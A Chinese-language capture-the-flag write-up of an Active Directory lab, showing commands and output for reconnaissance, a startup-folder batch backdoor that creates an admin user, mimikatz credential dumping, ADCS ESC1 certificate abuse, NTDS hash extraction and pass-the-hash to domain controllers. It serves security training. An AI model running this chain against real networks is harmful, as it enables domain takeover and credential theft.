# proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\TEMP.XIAORANG\Documents> whoami
xiaorang\yangdming
*Evil-WinRM* PS C:\Users\TEMP.XIAORANG\Documents>
```

根据题目提示，需要提权，不过我们还是先做一波域内信息搜集：

可以用bloodhound–python收集：

```
1 proxychains bloodhound-python -d xiaorang.lab -u yangdming -p kier@n10 -gc
dc.xiaorang.lab -c all
```

用bloodhound–python收集前，记得配置一下hosts：

```
1 172.22.61.17 xiaorang.lab
2 172.22.61.17 dc.xiaorang.lab
```

也可以把SharpHound.exe通过evil–winrm传到服务器上：

```
1 upload /tmp/SharpHound.exe .
```

```
*Evil-WinRM* PS C:\Users\TEMP.XIAORANG\Documents> cd C:\Windows\Temp
*Evil-WinRM* PS C:\Windows\Temp> upload /tmp/SharpHound.exe .
Info: Uploading /tmp/SharpHound.exe to .
```

```
Data: 1402196 bytes of 1402196 bytes copied
```

```
Info: Upload successful!
```

```
*Evil-WinRM* PS C:\Windows\Temp>
```

接着指定一下域用户账号密码去做域内信息搜集

Plain Text |

```
1 C:\Users\TEMP.XIAORANG\Documents\SharpHound.exe --ldapusername yangdming --  
ldappassword kier@n10 -c all
```

```
*Evil-WinRM* PS C:\Users\TEMP.XIAORANG\Documents> C:\Users\TEMP.XIAORANG\Documents\SharpHound.exe --ldapusername yangdming --ldappassword  
kier@n10  
2023-10-30T14:21:10.5272739+08:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound  
2023-10-30T14:21:10.7302803+08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, Object  
Props, DCOM, SPNTTargets, PSRemote  
2023-10-30T14:21:10.7605530+08:00|INFORMATION|Initializing SharpHound at 14:21 on 2023/10/30  
2023-10-30T14:21:11.2078768+08:00|INFORMATION|Loaded cache with stats: 66 ID to type mappings.  
66 name to SID mappings.  
1 machine sid mappings.  
2 sid to domain mappings.  
0 global catalog mappings.  
2023-10-30T14:21:11.2156939+08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTarget  
s, PSRemote  
2023-10-30T14:21:11.3866798+08:00|INFORMATION|Beginning LDAP search for xiaorang.lab  
2023-10-30T14:21:11.4335591+08:00|INFORMATION|Producer has finished, closing LDAP channel  
2023-10-30T14:21:11.4335591+08:00|INFORMATION|LDAP channel closed, waiting for consumers  
2023-10-30T14:21:42.3397895+08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM  
2023-10-30T14:22:00.5897924+08:00|INFORMATION|Consumers finished, closing output channel  
2023-10-30T14:22:00.6210780+08:00|INFORMATION|Output channel closed, waiting for output task to complete  
Closing writers
```

搜集到的结果如下，可以用download下载下来：

- https://github.com/LxxxSec/TunnelX/blob/master/20231030142200_BloodHound.zip


Plain Text |

```
1 download 20231030142200_BloodHound.zip /tmp/20231030142200_BloodHound.zip
```

重启运行启动项后门获取system权限

根据题目的提示，我们需要提权到system，用BloodHound分析

发现yangdming这个用户在SHUTDOWN_GROUP组里



该组内的用户允许对机器重启

NODE PROPERTIES

Object ID	S-1-5-21-1221599514-3194961069-2258431992-1118
Description	This group is capable of shutdown on
Admin Count	False

所以可以利用启动项提权，编写以下内容到add.bat:

- 首先把yangdming添加到本地管理员组内，方便后面信息搜集
- 然后把LocalAccountTokenFilterPolicy设置为1，否则后面用户在PTH的时候会爆 [-] rpc_s_access_denied 错误
- 接着添加benbi后门用户

```
Plain Text | ▾  
1 @echo off  
2 net localgroup administrators yangdming /add  
3 reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f  
4 net user benbi pass@123 /add  
5 net localgroup administrators benbi /add
```

将add.bat上传到启动目录中，然后重启

```
Plain Text | ▾  
1 upload /tmp/add.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\add.bat"  
2 shutdown -r -t 0
```

```
*Evil-WinRM* PS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp> upload /tmp/add.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\add.bat"  
Info: Uploading /tmp/add.bat to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\add.bat  
  
Data: 104 bytes of 104 bytes copied  
Info: Upload successful!
```

Evil-WinRM PS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp> dir

目录: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Mode	LastWriteTime	Length	Name
----	-----	-----	-----
-a---	10/30/2023 3:21 PM	80	add.bat

重启后发现benbi用户生成了

Evil-WinRM PS C:\Users\TEMP.XIAORANG\Documents> net users

\ 的用户帐户

Administrator benbi Guest

命令运行完毕，但发生一个或多个错误。

这里就不用rdp去连了，因为是DNS隧道非常卡，直接用wmiexec.py连接拿下flag

Plain Text

```
1 proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34
```

```
[root@kali]~-[~/Desktop/tools/impacket/examples]
# proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra
```

```
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
win2012\benbi
```

```
C:\>cd Users\Administrator\flag  
C:\Users\Administrator\flag>type flag03.txt
```

flag03: flag{77f5b567-1b99-486c-a9d7-552504f27298}

再上传mimikatz相关工具

Plain Text

```
1 upload /tmp/m/mimidrv.sys .
2 upload /tmp/m/mimilib.dll .
3 upload /tmp/m/mimispool.dll .
4 upload /tmp/m/mimikatz.exe .
```

用mimikatz成功抓到机器用户的哈希

Plain Text

```
1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
```

```
msv :
[00000003] Primary
* Username : WIN2012$
* Domain   : XIAORANG
* NTLM      : 41a258d72365350640270508748c9675
* SHA1      : 9999705e7ee05cb9817c90325bace4d30f770deb
```

ADCS ESC1拿下域控

发现域内存在ADCS，用certipy探测一下，记得用机器用户的哈希，探测后发现存在ADCS ESC1

Plain Text

```
1 proxychains certipy find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -dc-ip 172.22.61.17 -vulnerable
2 cat 20231030050124_Certipy.txt
```

```
[root@kali]~[/home/.../Desktop/tools/impacket/examples]
# proxychains certipy find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -dc-ip 172.22.61.17 -vulnerable
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Certipy v4.8.2 - by Oliver Lyak (ly4k)

/root/.pyenv/versions/3.9.10/lib/python3.9/site-packages/requests/_\_init\_\_.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.7) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused
[!] Failed to get CA configuration for 'xiaorang-DC-CA-CA'
[*] Saved BloodHound data to '20231030050124_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231030050124_Certipy.txt'
[*] Saved JSON output to '20231030050124_Certipy.json'
```

```
[!] Vulnerabilities
  ESC1 : 'XIAORANG.LAB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
  ESC2 : 'XIAORANG.LAB\\Domain Computers' can enroll and template can be used for any purpose
  ESC3 : 'XIAORANG.LAB\\Domain Computers' can enroll and template has Certificate Request Agent EKU set
```

发现win2012可利用模板，为域管请求证书，转换格式，请求TGT



Plain Text |

```
1 proxychains certipy req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
```

```
(root㉿kali)-[~/home/.../Desktop/tools/impacket/examples]
# proxychains certipy req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:41a258d72365350640270508748c9675 -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Certipy v4.8.2 - by Oliver Lyak (ly4k)

/root/.pyenv/versions/3.9.10/lib/python3.9/site-packages/requests/_init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.7) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'administrator@xiaorang.lab'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```



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```
1 proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
```

```
(root㉿kali)-[~/home/.../Desktop/tools/impacket/examples]
# proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Certipy v4.8.2 - by Oliver Lyak (ly4k)

/root/.pyenv/versions/3.9.10/lib/python3.9/site-packages/requests/_init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.7) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[*] Using principal: administrator@xiaorang.lab
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
```

导出域内哈希



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```
1 proxychains python3 secretsdump.py xiaorang.lab/administrator@172.22.61.17
-just-dc -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
```

```
[root@kali]~[/home/.../Desktop/tools/impacket/examples]
# proxychains python3 secretsdump.py xiaorang.lab/administrator@172.22.61.17 -just-dc -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
daa8a6a4d3c5adbdbcb0f53
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0b028e2ae23887824de5c266331d1805:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
wangmei:1103:aad3b435b51404eeaad3b435b51404ee:20e22050400d186fc1661cc383d86bed:::
zhangjing:1104:aad3b435b51404eeaad3b435b51404ee:12b5aae538465c791958e2e724f9aa67:::
```

拿到域管哈希之后即可拿下域控

Plain Text |

```
1 proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
2 type C:\Users\Administrator\flag\flag04.txt
```

```
[root@kali]~[/home/.../Desktop/tools/impacket/examples]
# proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\Administrator\flag\flag04.txt
,ggggggggggggggg
,dP"***"8g"***"
Yb,_ 88 ,ggg, ,gg
`"" 88 ,dPYb,dP"**"Y8, ,dP'
88 I8 8I `"" "8b, d8"
88 I8 8' Y88"
88 gg 8I ,8E5,,8gg,,8gg, ,8gg, I8 dP ,888b
88 I8 ,8I I8 8I 8I I8 8I 8I I8 ,8I I8dP ,8d" "8b,
"Yb,,8P,d8b,,d8b,,dP 8I Yb,,dP 8I Yb, `YbadP' ,d8b,_ d8" "Yb,
"Y8P"8P"Y88P"Y88P" 8I `Y88P" 8I `Y888P"Y888P"Y88 ,8P" "Y8
flag04: flag{e02cc70b-0462-4e72-9824-08aec26b6263}
```

PTH外网机器完结撒花

再回头用域管的哈希把外网SiteServer CMS给PTH了， 完结撒花。

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```
1 proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbdbcb0f53
2 type C:\Users\Administrator\flag\flag01.txt
```

```
(root㉿kali)-[~/home/..../Desktop/tools/impacket/examples]
└─# proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5a
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.10.1.dev1+20230223.202738.f4b848fa - Copyright 2022 Fortra

[*] SMBV3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\Users\Administrator\flag\flag01.txt

-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
$$$$$$$$$$|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 $ $ | / | / | / | \ / | \ / | / | / | $ $ | $ $ | $ $ | $ $ |
 $ $ | $ $ | $ $ | $ $ $ $ $ $ | $ $ $ $ $ $ | / $ $ $ $ $ | $ $ | $ $ | $ $ <
 $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ $ $ | \ /
 $ $ | $ $ | \ _ $ $ | $ $ | $ $ | $ $ | $ $ | $ $ $ $ $ $ | $ $ | $ $ | / $ $ |
 $ $ | $ $ | $ $ / $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ | $ $ |
 $ $ / | $ $ $ $ $ $ | $ $ / | $ $ / | $ $ | $ $ $ $ $ $ | $ $ / | $ $ / | $ $ / |
```

题出的超级好，除了砂砾贵没有缺点。